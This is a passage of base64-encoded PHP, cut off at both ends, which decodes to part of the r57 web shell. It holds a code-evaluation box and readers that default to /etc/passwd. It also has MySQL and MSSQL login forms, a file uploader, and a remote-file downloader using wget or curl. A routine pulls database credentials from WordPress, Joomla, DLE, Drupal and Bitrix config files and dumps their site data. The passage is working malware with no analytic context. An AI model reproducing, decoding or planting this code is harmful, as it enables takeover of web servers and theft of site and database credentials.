k/KCRfUE9TVFsnbWtfbmFtZSddKTooIm5ld19uYW1lIikpKS53cyg0ICkuIjxzZWxlY3QgbmFtZT1hY3Rpb24+PG9wdGlvbiB2YWx1ZT1jcmVhdGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjUnXS4iPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1kZWxldGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjYnXS4iPC9vcHRpb24+PC9zZWxlY3Q+Ii53cygzICkuIjxzZWxlY3QgbmFtZT13aGF0PjxvcHRpb24gdmFsdWU9ZmlsZT4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiI8L29wdGlvbj48b3B0aW9uIHZhbHVlPWRpcj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MCddLiI8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdjbWQnLDAgLCdtaycpLmluKCdoaWRkZW4nLCdkaXInLDAgLCRkaXIpLndzKDQgKS5pbignc3VibWl0Jywnc3VibWl0JywwICwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTMnXSkpO2VjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTt9aWYoJHNhZmVfbW9kZSAmJiAkdW5peCl7ZWNobyAkZnMuJHRhYmxlX3VwMS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjcnXS51cF9kb3duKCdpZDUnKS4kdGFibGVfdXAyLmRpdignaWQ1JykuJHRzO2VjaG8gc3IoMTUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2OCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT13aGF0PjxvcHRpb24gdmFsdWU9bW9kPkNITU9EPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1vd24+Q0hPV048L29wdGlvbj48b3B0aW9uIHZhbHVlPWdycD5DSEdSUDwvb3B0aW9uPjwvc2VsZWN0PiIud3MoMiApLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2OSddLiRhcnJvdy4iPC9iPiIud3MoMiApLmluKCd0ZXh0JywncGFyYW0xJyw0MCAsKCgkX1BPU1RbJ3BhcmFtMSddKT8oJF9QT1NUWydwYXJhbTEnXSk6KCJmaWxlbmFtZSIpKSkud3MoMiApLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3MCddLiRhcnJvdy4iPC9iPiIud3MoMiApLmluKCd0ZXh0JywncGFyYW0yIHRpdGxlPSInLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3MSddLiciJywyNiAsKCgkX1BPU1RbJ3BhcmFtMiddKT8oJF9QT1NUWydwYXJhbTInXSk6KCIwNzc3IikpKS5pbignaGlkZGVuJywnY21kJywwICwnY2hfJykuaW4oJ2hpZGRlbicsJ2RpcicsMCAsJGRpcikud3MoNCApLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAgLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTtlY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7fWlmKCEkc2FmZV9tb2RlKXtmb3JlYWNoKCRhbGlhc2VzIGFzICRhbGlhc19uYW1lPT4kYWxpYXNfY21kKXskYWxpYXNlczIuPSI8b3B0aW9uPiRhbGlhc19uYW1lPC9vcHRpb24+Ijt9ZWNobyAkZnMuJHRhYmxlX3VwMS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NyddLnVwX2Rvd24oJ2lkNicpLiR0YWJsZV91cDIuZGl2KCdpZDYnKS4kdHM7ZWNobyBzcigxNSAsIjxiPiIud3MoOSApLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4J10uJGFycm93LndzKDQgKS4iPC9iPiIsIjxzZWxlY3QgbmFtZT1hbGlhcz4iLiRhbGlhc2VzMi4iPC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwICwkZGlyKS53cyg0ICkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpO2VjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTt9ZWNobyAkZnMuJHRhYmxlX3VwMS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTQnXS51cF9kb3duKCdpZDcnKS4kdGFibGVfdXAyLmRpdignaWQ3JykuJHRzO2VjaG8gc3IoMTUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1MiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzX3RleHQnLDg1ICwndGV4dCcpLndzKDQgKS5pbignc3VibWl0Jywnc3VibWl0JywwICwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTInXSkpO2VjaG8gc3IoMTUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzX2RpcicsODUgLCRkaXIpLiIgKiAoIC9yb290Oy9ob21lOy90bXAgKSIpO2VjaG8gc3IoMTUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1NSddLiRhcnJvdy4iPC9iPiIsaW4oJ2NoZWNrYm94JywnbSBpZD1tJywwICwnMScpLmluKCd0ZXh0Jywnc19tYXNrJyw4MiAsJy50eHQ7LnBocCcpLiIqICggLnR4dDsucGhwOy5odG0gKSIuaW4oJ2hpZGRlbicsJ2NtZCcsMCAsJ3NlYXJjaF90ZXh0JykuaW4oJ2hpZGRlbicsJ2RpcicsMCAsJGRpcikpO2VjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTtpZighJHNhZmVfbW9kZSAmJiAkdW5peCl7ZWNobyAkZnMuJHRhYmxlX3VwMS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzYnXS51cF9kb3duKCdpZDgnKS4kdGFibGVfdXAyLmRpdignaWQ4JykuJHRzO2VjaG8gc3IoMTUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3MiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzX3RleHQnLDg1ICwndGV4dCcpLndzKDQgKS5pbignc3VibWl0Jywnc3VibWl0JywwICwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTInXSkpO2VjaG8gc3IoMTUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzX2RpcicsODUgLCRkaXIpLiIgKiAoIC9yb290Oy9ob21lOy90bXAgKSIpO2VjaG8gc3IoMTUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzX21hc2snLDg1ICwnKi5baGNdJykud3MoMSApLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3NSddLmluKCdoaWRkZW4nLCdjbWQnLDAgLCdmaW5kX3RleHQnKS5pbignaGlkZGVuJywnZGlyJywwICwkZGlyKSk7ZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlO31lY2hvICRmcy4kdGFibGVfdXAxLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMiddLnVwX2Rvd24oJ2lkOScpLiR0YWJsZV91cDIuJGZvbnQ7ZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+Ii5kaXYoJ2lkOScpLiI8dGV4dGFyZWEgbmFtZT1waHBfZXZhbCBjb2xzPTEwMCByb3dzPTM+IjtlY2hvICghZW1wdHkoJF9QT1NUWydwaHBfZXZhbCddKT8oJF9QT1NUWydwaHBfZXZhbCddKTooIi8qIGRlbGV0ZSBzY3JpcHQgKi9cclxuLy91bmxpbmsoXCJyNTdzaGVsbC5waHBcIik7XHJcbi8vcmVhZGZpbGUoXCIvZXRjL3Bhc3N3ZFwiKTsiKSk7ZWNobyAiPC90ZXh0YXJlYT4iO2VjaG8gaW4oJ2hpZGRlbicsJ2RpcicsMCAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCAsJ3BocF9ldmFsJyk7ZWNobyAiPGJyPiIud3MoMSApLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAgLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pO2VjaG8gIjwvZGl2PjwvZGl2PjwvZm9udD4iO2VjaG8gJHRhYmxlX2VuZDEuJGZlO2lmKCRzYWZlX21vZGUgJiYgJGN1cmxfb24pe2VjaG8gJGZzLiR0YWJsZV91cDEuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMzJ10udXBfZG93bignaWQxMCcpLiR0YWJsZV91cDIuZGl2KCdpZDEwJykuJHRzO2VjaG8gc3IoMTUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MV9maWxlJyw4NSAsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDFfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwICwkZGlyKS5pbignaGlkZGVuJywnY21kJywwICwndGVzdDEnKS53cyg0ICkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpO2VjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTt9aWYoJHNhZmVfbW9kZSl7ZWNobyAkZnMuJHRhYmxlX3VwMS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzQnXS51cF9kb3duKCdpZDExJykuJHRhYmxlX3VwMi5kaXYoJ2lkMTEnKS4kdHM7ZWNobyAiPHRhYmxlIGNsYXNzPXRhYmxlMSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iO2VjaG8gc3IoMTUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0Ml9maWxlJyw4NSAsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QyX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDJfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwICwkZGlyKS5pbignaGlkZGVuJywnY21kJywwICwndGVzdDInKS53cyg0ICkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpO2VjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTt9aWYoJHNhZmVfbW9kZSAmJiAkbXlzcWxfb24pe2VjaG8gJGZzLiR0YWJsZV91cDEuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM1J10udXBfZG93bignaWQxMicpLiR0YWJsZV91cDIuZGl2KCdpZDEyJykuJHRzO2VjaG8gc3IoMTUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0M19tZCcsMTUgLCghZW1wdHkoJF9QT1NUWyd0ZXN0M19tZCddKT8oJF9QT1NUWyd0ZXN0M19tZCddKTooIm15c3FsIikpKS53cyg0ICkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3QzX21sJywxNSAsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX21sJ10pPygkX1BPU1RbJ3Rlc3QzX21sJ10pOigicm9vdCIpKSkud3MoNCApLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0M19tcCcsMTUgLCghZW1wdHkoJF9QT1NUWyd0ZXN0M19tcCddKT8oJF9QT1NUWyd0ZXN0M19tcCddKTooInBhc3N3b3JkIikpKS53cyg0ICkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE0J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3QzX3BvcnQnLDE1ICwoIWVtcHR5KCRfUE9TVFsndGVzdDNfcG9ydCddKT8oJF9QT1NUWyd0ZXN0M19wb3J0J10pOigiMzMwNiIpKSkpO2VjaG8gc3IoMTUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0M19maWxlJyw5NiAsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDNfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwICwkZGlyKS5pbignaGlkZGVuJywnY21kJywwICwndGVzdDMnKS53cyg0ICkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpO2VjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTt9aWYoJHNhZmVfbW9kZSAmJiAkbXNzcWxfb24pe2VjaG8gJGZzLiR0YWJsZV91cDEuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg1J10udXBfZG93bignaWQxMycpLiR0YWJsZV91cDIuZGl2KCdpZDEzJykuJHRzO2VjaG8gc3IoMTUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0NF9tZCcsMTUgLCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9tZCddKT8oJF9QT1NUWyd0ZXN0NF9tZCddKTooIm1hc3RlciIpKSkud3MoNCApLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0NF9tbCcsMTUgLCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9tbCddKT8oJF9QT1NUWyd0ZXN0NF9tbCddKTooInNhIikpKS53cyg0ICkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3Q0X21wJywxNSAsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X21wJ10pPygkX1BPU1RbJ3Rlc3Q0X21wJ10pOigicGFzc3dvcmQiKSkpLndzKDQgKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDRfcG9ydCcsMTUgLCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9wb3J0J10pPygkX1BPU1RbJ3Rlc3Q0X3BvcnQnXSk6KCIxNDMzIikpKSk7ZWNobyBzcigxNSAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDRfZmlsZScsOTYgLCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9maWxlJ10pPygkX1BPU1RbJ3Rlc3Q0X2ZpbGUnXSk6KCJkaXIiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAgLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAgLCd0ZXN0NCcpLndzKDQgKS5pbignc3VibWl0Jywnc3VibWl0JywwICwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7ZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlO31pZihAaW5pX2dldCgnZmlsZV91cGxvYWRzJykpe2VjaG8gIjxmb3JtIG5hbWU9dXBsb2FkIG1ldGhvZD1QT1NUIEVOQ1RZUEU9bXVsdGlwYXJ0L2Zvcm0tZGF0YT4iO2VjaG8gJHRhYmxlX3VwMS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NSddLnVwX2Rvd24oJ2lkMTQnKS4kdGFibGVfdXAyLmRpdignaWQxNCcpLiR0cztlY2hvIHNyKDE1ICwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZScsODUgLCcnKSk7ZWNobyBzcigxNSAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxJ10uJGFycm93LiI8L2I+IixpbignY2hlY2tib3gnLCduZjEgaWQ9bmYxJywwICwnMScpLmluKCd0ZXh0JywnbmV3X25hbWUnLDgyICwnJykuaW4oJ2hpZGRlbicsJ2RpcicsMCAsJGRpcikud3MoNCApLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAgLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQyJ10pKTtlY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7fWlmKCEkc2FmZV9tb2RlICYmICEkd2luZG93cyl7ZWNobyAkZnMuJHRhYmxlX3VwMS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTUnXS51cF9kb3duKCdpZDE1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTUnKS4kdHM7ZWNobyBzcigxNSAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE2J10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJ3aXRoXCI+PG9wdGlvbiB2YWx1ZT1cIndnZXRcIj53Z2V0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImZldGNoXCI+ZmV0Y2g8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwibHlueFwiPmx5bng8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwibGlua3NcIj5saW5rczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJjdXJsXCI+Y3VybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJHRVRcIj5HRVQ8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAgLCRkaXIpLndzKDIgKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTcnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywncmVtX2ZpbGUnLDc4ICwnaHR0cDovLycpKTtlY2hvIHNyKDE1ICwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbG9jX2ZpbGUnLDEwNSAsJGRpcikud3MoNCApLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAgLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQyJ10pKTtlY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7fWVjaG8gJGZzLiR0YWJsZV91cDEuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg2J10udXBfZG93bignaWQxNicpLiR0YWJsZV91cDIuZGl2KCdpZDE2JykuJHRzO2VjaG8gc3IoMTUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkX25hbWUnLDg1ICwkZGlyKS5pbignaGlkZGVuJywnY21kJywwICwnZG93bmxvYWRfZmlsZScpLmluKCdoaWRkZW4nLCdkaXInLDAgLCRkaXIpLndzKDQgKS5pbignc3VibWl0Jywnc3VibWl0JywwICwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTQnXSkpOyRhcmg9JGxhbmdbJGxhbmd1YWdlLidfdGV4dDkyJ107aWYoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKXskYXJoLj1pbigncmFkaW8nLCdjb21wcmVzcycsMCAsJ3ppcCcpLicgemlwJzt9aWYoQGZ1bmN0aW9uX2V4aXN0cygnZ3plbmNvZGUnKSl7JGFyaC49aW4oJ3JhZGlvJywnY29tcHJlc3MnLDAgLCdnemlwJykuJyBnemlwJzt9aWYoQGZ1bmN0aW9uX2V4aXN0cygnYnpjb21wcmVzcycpKXskYXJoLj1pbigncmFkaW8nLCdjb21wcmVzcycsMCAsJ2J6aXAnKS4nIGJ6aXAnO31lY2hvIHNyKDE1ICwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTEnXS4kYXJyb3cuIjwvYj4iLGluKCdyYWRpbycsJ2NvbXByZXNzJywwICwnbm9uZScpLicgJy4kYXJoKTtlY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7cHJpbnQgJGZzLiR0YWJsZV91cDEuIkNNUyBpbmZvIi4kdGFibGVfdXAyLic8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsgbWFyZ2luOjVweDsiPic7cHJpbnQgaW4oJ2hpZGRlbicsJ2NtZCcsMCAsJ3NhZmVfZGlyJykuaW4oJ2hpZGRlbicsJ2RpcicsMCAsJGRpcikuaW4oJ2hpZGRlbicsJ2Ntc19pbmZvJywwICwnMScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAgLCJnZXQgc2l0ZSBpbmZvIGZyb20gZGF0YWJhc2UgKFdvcmRQcmVzcywgSm9vbWxhLCBETEUsIERydXBhbCwgQml0cml4KSIpO2lmKGlzc2V0KCRfUE9TVFsnY21zX2luZm8nXSkpe3ByaW50ICc8L2Rpdj48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsgbWFyZ2luOjVweDsiPjx0ZXh0YXJlYSBjb2xzPTEwMCByb3dzPTEwPic7aWYoaXNfZmlsZSgkZGlyLiIvd3AtY29uZmlnLnBocCIpKXskY21zRmlsZVNldHQ9ZmlsZV9nZXRfY29udGVudHMoJGRpci4iL3dwLWNvbmZpZy5waHAiKTtwcmludCAiV29yZFByZXNzXHJcblxyXG4iO3ByZWdfbWF0Y2goJyVcJHRhYmxlX3ByZWZpeFteXCddK1wnKC4rPylcJyVpJywkY21zRmlsZVNldHQsJGNtc1NldHRNYXRjaGUpO3ByZWdfbWF0Y2hfYWxsKCclZGVmaW5lXChcJyguKylcJywgXCcoLiopXCdcKTslaScsJGNtc0ZpbGVTZXR0LCRjbXNTZXR0TWF0Y2hlcyxQUkVHX1NFVF9PUkRFUik7JGNtc1Jlc3VsdD1hcnJheSgpO2lmKGlzc2V0KCRjbXNTZXR0TWF0Y2hlWzEgXSkgJiYgJGNtc1NldHRNYXRjaGVzPj00ICl7Zm9yZWFjaCgkY21zU2V0dE1hdGNoZXMgYXMgJGNtc1NldHRNYXRjaGVzS2V5PT4kY21zU2V0dE1hdGNoZXNWYWwpeyRjbXNSZXN1bHRbJGNtc1NldHRNYXRjaGVzVmFsWzEgXV09JGNtc1NldHRNYXRjaGVzVmFsWzIgXTt9aWYoaXNzZXQoJGNtc1Jlc3VsdFsnREJfTkFNRSddKSAmJiBpc3NldCgkY21zUmVzdWx0WydEQl9VU0VSJ10pICYmIGlzc2V0KCRjbXNSZXN1bHRbJ0RCX1BBU1NXT1JEJ10pICYmIGlzc2V0KCRjbXNSZXN1bHRbJ0RCX0hPU1QnXSkpeyRkYj1uZXcgZGJteXNxbCgkY21zUmVzdWx0WydEQl9IT1NUJ10sJGNtc1Jlc3VsdFsnREJfVVNFUiddLCRjbXNSZXN1bHRbJ0RCX1BBU1NXT1JEJ10sJGNtc1Jlc3VsdFsnREJfTkFNRSddKTskcXVlcnk9JGRiLT5xdWVyeUFycigiU0VMRUNUIGBvcHRpb25fbmFtZWAsYG9wdGlvbl92YWx1ZWAgRlJPTSBgIi4kY21zU2V0dE1hdGNoZVsxIF0uIm9wdGlvbnNgIik7JGNtc1F1ZXJ5PWFycmF5KCk7Zm9yZWFjaCgkcXVlcnkgYXMgJHF1ZXJ5S2V5PT4kcXVlcnlWYWwpeyRjbXNRdWVyeVskcXVlcnlWYWxbJ29wdGlvbl9uYW1lJ11dPSRxdWVyeVZhbFsnb3B0aW9uX3ZhbHVlJ107fXByaW50X3IoJGNtc1F1ZXJ5KTt9fX1pZihpc19maWxlKCRkaXIuIi9jb25maWd1cmF0aW9uLnBocCIpKXskY21zRmlsZVNldHQ9ZmlsZV9nZXRfY29udGVudHMoJGRpci4iL2NvbmZpZ3VyYXRpb24ucGhwIik7cHJpbnQgIkpvb21sYVxyXG5cclxuIjtwcmludCBpY29udigidXRmLTgiLCJ3aW5kb3dzLTEyNTEiLCRjbXNGaWxlU2V0dCk7fWlmKGlzX2ZpbGUoJGRpci4iL2VuZ2luZS9kYXRhL2NvbmZpZy5waHAiKSl7JGNtc0ZpbGVTZXR0PWZpbGVfZ2V0X2NvbnRlbnRzKCRkaXIuIi9lbmdpbmUvZGF0YS9jb25maWcucGhwIik7cHJpbnQgIkRMRVxyXG5cclxuIjtwcmludCBzdHJfcmVwbGFjZShhcnJheSgiXHJcblxyXG4iLCJcblxuIiksYXJyYXkoIlxyXG4iLCJcbiIpLCRjbXNGaWxlU2V0dCk7fWlmKGlzX2ZpbGUoJGRpci4iL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIikpeyRjbXNGaWxlU2V0dD1maWxlX2dldF9jb250ZW50cygkZGlyLiIvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAiKTtwcmludCAiRHJ1cGFsXHJcblxyXG4iOyRjbXNSZXN1bHQ9YXJyYXkoKTtwcmVnX21hdGNoKCclXCdkYXRhYmFzZVwnW15cKlwnXStcJyhbXlwnXSopXCdbXlwqXStcJ3VzZXJuYW1lXCdbXlwqXCddK1wnKFteXCddKilcJ1teXCpdK1wncGFzc3dvcmRcJ1teXCpcJ10rXCcoW15cJ10qKVwnW15cKl0rXCdob3N0XCdbXlwqXCddK1wnKFteXCddKilcJ1teXCpdK1wncHJlZml4XCdbXlwqXCddK1wnKFteXCddKilcJyVpcycsJGNtc0ZpbGVTZXR0LCRjbXNTZXR0TWF0Y2hlcyk7aWYoY291bnQoJGNtc1NldHRNYXRjaGVzKT09NiApeyRjbXNSZXN1bHRbJ2hvc3QnXT0kY21zU2V0dE1hdGNoZXNbNCBdOyRjbXNSZXN1bHRbJ3VzZXInXT0kY21zU2V0dE1hdGNoZXNbMiBdOyRjbXNSZXN1bHRbJ3B3ZCddPSRjbXNTZXR0TWF0Y2hlc1szIF07JGNtc1Jlc3VsdFsnZGInXT0kY21zU2V0dE1hdGNoZXNbMSBdOyRjbXNSZXN1bHRbJ3ByZWZpeCddPSRjbXNTZXR0TWF0Y2hlc1s1IF07fWVsc2Uge3ByZWdfbWF0Y2goJyVcJGRiX3VybCA9IFwnW2Etel0rOi8vKC4rPylAKC4rPykvKC4rPylcJztbXipdK1wkZGJfcHJlZml4ID0gXCcoW15cJ10qKVwnOyVpJywkY21zRmlsZVNldHQsJGNtc1NldHRNYXRjaGVzKTtpZihjb3VudCgkY21zU2V0dE1hdGNoZXMpPT01ICl7JHVzZXJQd2Q9ZXhwbG9kZSgiOiIsJGNtc1NldHRNYXRjaGVzWzEgXSk7aWYoIWlzc2V0KCR1c2VyUHdkWzEgXSkpeyR1c2VyUHdkWzEgXT0nJzt9JGNtc1Jlc3VsdFsnaG9zdCddPSRjbXNTZXR0TWF0Y2hlc1syIF07JGNtc1Jlc3VsdFsndXNlciddPSR1c2VyUHdkWzAgXTskY21zUmVzdWx0Wydwd2QnXT0kdXNlclB3ZFsxIF07JGNtc1Jlc3VsdFsnZGInXT0kY21zU2V0dE1hdGNoZXNbMyBdOyRjbXNSZXN1bHRbJ3ByZWZpeCddPSRjbXNTZXR0TWF0Y2hlc1s0IF07fX1pZihjb3VudCgkY21zUmVzdWx0KT09NSApeyRkYj1uZXcgZGJteXNxbCgkY21zUmVzdWx0Wydob3N0J10sJGNtc1Jlc3VsdFsndXNlciddLCRjbXNSZXN1bHRbJ3B3ZCddLCRjbXNSZXN1bHRbJ2RiJ10pOyRxdWVyeT0kZGItPnF1ZXJ5QXJyKCJTRUxFQ1QgYG5hbWVgLGB2YWx1ZWAgRlJPTSBgIi4kY21zUmVzdWx0WydwcmVmaXgnXS4idmFyaWFibGVgIik7JGNtc1F1ZXJ5PWFycmF5KCk7Zm9yZWFjaCgkcXVlcnkgYXMgJHF1ZXJ5S2V5PT4kcXVlcnlWYWwpeyRjbXNRdWVyeVskcXVlcnlWYWxbJ25hbWUnXV09JHF1ZXJ5VmFsWyd2YWx1ZSddO31wcmludF9yKCRjbXNRdWVyeSk7JHF1ZXJ5PSRkYi0+cXVlcnlBcnIoIlNFTEVDVCAqIEZST00gYCIuJGNtc1Jlc3VsdFsncHJlZml4J10uIndhdGNoZG9nYCBMSU1JVCAxIik7cHJpbnRfcigkcXVlcnkpO319aWYoaXNfZmlsZSgkZGlyLiIvYml0cml4L3BocF9pbnRlcmZhY2UvZGJjb25uLnBocCIpKXskY21zRmlsZVNldHQ9ZmlsZV9nZXRfY29udGVudHMoJGRpci4iL2JpdHJpeC9waHBfaW50ZXJmYWNlL2RiY29ubi5waHAiKTtwcmludCAiQml0cml4XHJcblxyXG4iO3ByZWdfbWF0Y2goJyVcJERCSG9zdFteIl0rIihbXiJdKikuKz9cblwkREJMb2dpblteIl0rIihbXiJdKikuK1xuXCREQlBhc3N3b3JkW14iXSsiKFteIl0qKS4rXG5cJERCTmFtZVteI